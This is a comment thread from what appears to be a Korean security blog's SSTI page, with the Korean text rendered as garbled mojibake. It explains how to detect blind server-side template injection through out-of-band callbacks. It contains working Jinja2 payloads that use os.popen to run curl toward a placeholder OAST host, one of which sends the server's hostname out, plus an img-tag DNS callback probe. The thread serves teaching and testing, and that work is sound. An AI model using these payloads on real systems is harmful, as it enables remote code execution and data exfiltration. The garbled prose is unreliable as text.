Closed utterances-bot closed 2 years ago
์๋ ํ์ธ์! ssti ๋ฅผ ๊ณต๋ถํ๋ ์ค์ ๊ถ๊ธํ ๊ฒ์ด ์๊ฒจ์ ์ง๋ฌธ ๋จ๊น๋๋ค! ssti ๋ฅผ ์๋ํ๊ธฐ ์ํ ํฌ์ธํธ๋ฅผ ํ์ํ ๋ ์ ๋ ฅ๊ฐ์ด ํ์ด์ง์ ๋ ๋๋ง ๋๊ฑฐ๋ ํน์ ์ง์ ์ ์ผ๋ก ๋ณด์ฌ์ง์ง ์๋๋ผ๋ burp ๊ฐ์ ๋๊ตฌ๋ฅผ ํตํด response ์ ์ ๋ ฅ๊ฐ์ด ๋ณด์ฌ์ง๋ค๋ฉด ๊ทธ ๋ถ๋ถ์ ํฌ์ธํธ๋ก ๊ณต๊ฒฉํด ๋ณผ ์ ์์ ๊ฒ ์ด๋ผ๊ณ ์๊ฐ๋๋๋ฐ
์ด๋ฐ ์ ๋ ฅ๊ฐ์ด ๋ณด์ฌ์ง๋ ๊ฒฝ์ฐ๊ฐ ์๋๋๋ผ๋ ๊ณต๊ฒฉ์ ์๋ํ ์ ์๋ ํฌ์ธํธ๊ฐ ์์๊น์?!
@geeneoning ์๋ ํ์ธ์! ๋จผ์ ์ด์ผ๊ธฐ์ฃผ์ ๋๋ก SSTI๋ response์ template ๊ตฌ๋ฌธ์ด ์ฒ๋ฆฌ๋์ด ๋ ธ์ถ๋๋ฉด ์ฝ๊ฒ ์๋ณํ ์ ์์ต๋๋ค. ๋ง์ฝ ๊ทธ๋ ์ง ์๋ค๊ณ ํด๋ OAST ๋ฑ์ผ๋ก Blind SSTI๋ฅผ ์๋ณํ ์ ์๋ ๋ฐฉ๋ฒ์ด ์์ต๋๋ค. ์ด๋ RCE๋ Blind SSRF๋ฅผ ์๋ณํ๋ ๋ฐฉ๋ฒ๊ณผ ์ ์ฌํฉ๋๋ค.
๋๋ค์ Blind ์ทจ์ฝ์ ์ OAST๋ก ์๋ณํฉ๋๋ค ๐
Jinja2๋ก ์๋ฅผ๋ค์ด ๋ณด๋ฉด ์๋์ ๊ฐ์ด OAST ์๋น์ค๋ฅผ ํฅํ๋ ํ์ด๋ก๋๋ฅผ ํ๋ ์์ํฌ ๋ณ๋ก ๋ฆฌ์คํธ๋ฅผ ๋ง๋ค๊ณ , ์ด๋ฅผ Fuzz ํ๋ฉด์ OAST ์๋น์ค๋ก ๋์ฐฉํ๋ Interaction(DNS Query, HTTP Request ๋ฑ)์ ๋ณด๊ณ ์ค์ ๋ก ํ์ด๋ก๋๊ฐ ๋์ฐฉํ๋์ง ์ถ์ธกํ ์ ์์ต๋๋ค.
{{config.__class__.__init__.__globals__['os'].popen('curl <OAST-SERVICE>').read()}}
๋ง์ฝ ์ ํ์ด๋ก๋๋ก HTTP Request ๊น์ง ๋์ฐฉํ๋ค๋ฉด, ์๋์ ๊ฐ์ด RCE๋ฅผ ์ฆ๋ช ํ ์ ์๊ฒ ๋ค์ :D
{{config.__class__.__init__.__globals__['os'].popen('hostname | xargs -I % curl <OAST-SERVICE>/%``').read()}}
GET /testpc.local
@geeneoning ๊ผญ RCE ํํ๊ฐ ์๋๋๋ผ๋ ์๋์ ๊ฐ์ด img ํ๊ทธ ๋ฑ๊ณผ ์กฐํฉํด์ ๋ฐฑ์๋๋จ์์ Template ๋ฌธ๋ฒ์ ์ฒ๋ฆฌํ๋์ง ์ฒดํฌํ๋ ๋ฐฉ๋ฒ๋ ์๊ฒ ๋ค์ :D
<img src="//{{17 * 32}}.OASTSERVICE.com">
Template ์ฒ๋ฆฌ ์ 544.OASTSERVICE.com
๋๋ฉ์ธ์ผ๋ก Interaction ๋ฐ์
e.g
[544.ca71k25vqc7kr2hpkfjgck8bwneyyyyyn] Received DNS interaction (A) from ********
[544.ca71k25vqc7kr2hpkfjgck8bwneyyyyyn] Received HTTP interaction from ********
๋๋ฌด ์ ๊ธฐํ๋ค์! ๊ฐ์ฌํฉ๋๋ค :)
Server-Side Template Injection (SSTI)
๐ Introduction SSTI(Server-Side Template Injection)์ ๊ณต๊ฒฉ์๊ฐ Template ์ฝ๋๋ฅผ ๊ธฐ์กด template์ include ์์ผ์ ์ํ๋ ์ก์ ์ ์ํํ๋๋ก ํ๋ ๊ณต๊ฒฉ์ ๋๋ค. ์ด ๋ template injection์ด ๋ฐ์ํ๋ ์์น๊ฐ server-side์ธ ๊ฒฝ์ฐ SSTI๋ผ๊ณ ๋ถ๋ฆ ๋๋ค. SSTI๊ฐ ๋ฐ์ํ๋ ๊ฒฝ์ฐ Server-Side์ ๋ ๋๋ง์ ๊ด์ฌํ ์ ์๊ธฐ ๋๋ฌธ์ ๋จ์ํ๊ฒ๋ Client-Side์ ์ทจ์ฝ์ ๋ค(XSS,CSRF ๋ฑ) ๋ฟ๋ง ์๋๋ผ Server-Side์ ์ทจ์ฝ์ ๋ค(RCE,S
https://www.hahwul.com/cullinan/ssti/